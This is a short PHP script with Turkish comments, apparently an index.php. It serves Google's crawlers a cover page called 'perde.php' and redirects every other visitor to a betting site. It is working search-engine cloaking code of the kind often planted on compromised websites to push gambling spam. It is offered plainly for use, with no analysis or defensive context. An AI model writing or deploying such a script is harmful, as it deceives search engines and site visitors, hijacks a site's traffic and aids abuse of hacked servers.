
<?php
// Sadece anasayfa (/ veya /index.php) için çalışsın
$requestUri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
if ($requestUri === '/' || $requestUri === '/index.php') {
    function isGoogleBot() {
        $userAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
        $googleBots = [
            'googlebot',
            'googleproducer',
            'feedfetcher-google',
            'mediapartners-google',
            'adsbot-google',
            'adsbot-google-mobile',
            'apis-google',
            'google-extended',
            'googleother-video',
            'googleother-image',
            'googleother',
            'storebot-google',
            'googlebot-video',
            'googlebot-news',
            'googlebot-image',
            'google-inspectiontool',
        ];
    
        foreach ($googleBots as $bot) {
            if (strpos($userAgent, strtolower($bot)) !== false) {
                return true;
            }
        }
        return false;
    }

    // 1. Google bot geldiyse
    if (isGoogleBot()) {
        include 'perde.php';
        exit;
    }
}

header("Location: https://golldenbahis894.com/");
?>